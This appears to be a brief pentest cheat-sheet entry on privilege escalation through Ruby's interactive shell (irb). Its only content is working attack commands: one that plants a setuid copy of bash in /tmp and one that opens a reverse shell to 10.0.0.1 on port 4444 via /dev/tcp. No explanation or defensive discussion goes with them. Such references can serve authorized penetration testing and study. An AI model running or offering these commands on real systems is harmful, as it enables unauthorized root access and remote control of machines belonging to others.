irb (Interactive Ruby Shell) Privilege Escalation

Last modified: Tue Mar 28 2023 00:00:00 GMT+0000 (Coordinated Universal Time)

Privilege Escalation

Exploitation

irb

# #q!: Define a string literal
> exec %q!whoami!
> exec %q!cp /bin/bash /tmp/bash; chmod +s /tmp/bash!
> exec %q!bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"!